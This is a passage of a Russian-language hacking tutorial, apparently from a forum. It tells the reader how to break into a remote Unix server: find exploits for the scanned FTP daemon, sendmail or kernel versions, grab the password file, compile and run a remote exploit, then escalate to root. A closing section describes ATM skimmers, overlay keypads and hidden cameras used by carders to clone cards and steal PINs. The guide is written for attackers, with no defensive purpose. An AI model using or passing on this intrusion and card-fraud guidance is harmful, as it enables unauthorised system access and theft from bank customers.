Замечу, что для выполнения этой команды вы должны быть под root. Всю собранную информацию нужно записать куда-нибудь. Теперь можно найти удаленный эксплоит для данной версии FTP демона. Но не стоит тут же искать сплоиты, возомжно проникнуть в систему можно и без них. Например, в sendmail есть дыра, через которую можно отправить себе файл с паролями. Достаточно поискать в гугле уязвимости для данной версии. Не стоит так же забывать про ядро системы (версию мы узнали при сканировании) Ну предположим, что ничего не проктило, теперь череда сплоитов. Возможно, тебе повезет, и ты сразу найдешь эксплоит под данную версию демона. Если так, то его нужно скомпилировать: $gcc -o spoit /home/stranger/sploit.c
Но скорее всего будет куча ошибок, которые придется исправлять. Для этого нужно знать С++. Если сплоит распространен в сети, то ты возможно сможешь найти уже скомилированую версию, но как правило удаленных эксплоитов не так много. Если удалось скомпилировать, то смело запускай. Не забудь, что ему нужно передать параметры. Обычно эксплоит сам говорит, что нужно вписать. Вот нескольо ссылок про них: -------------------------------------------------------------- http://damagelab.org/index.php?showtopic=7538 http://www.winzone.ru/articles/286/ ------------------------------------------------------------- В лучшем случае ты получишь права юзера, от которого был запущен данный демон.
Повышения привилегий. Итак ты имеешь права, возможно, что ты уже под рутом (смотря каким способом ты проникал в систему). Для того что бы узнать свои права введи $id
uid=xxx(**********) gid=xxx(********) Если xxx равны 0, то вы под рутом, в противном случае нужно еще попотеть. Итак нужно поднять права так чтобы uid=0 gid=0, стоит опять вспомнить про эксплоиты - для начала изучи доступные дириктории, возможно ты найдешь в них какие либо приложения, для этих приложений нужно найти сплоит и залить на сервер, ну и запустить впоследстии, где искать ты знаешь. На самом деле есть много способов как подняться. Но ведь это всего лишь алгоритм. Да и взлом - это творческий процесс)
Что такое скиммер? Скиммер-это устройство которое используется кардерами, оно одевается на банкомат. Принцип работы скиммера примерно такой: считывается информация о карте с магнитной ленты, впоследствии с помощью этого можно изготовить дубликат вашей карты. Для того что бы узнать PIN используют такую штуку как накладная клавиатура. Или для этих целей можно использовать скрытую камеру. Вот несколько фоток этих девайсов (не мои): Камера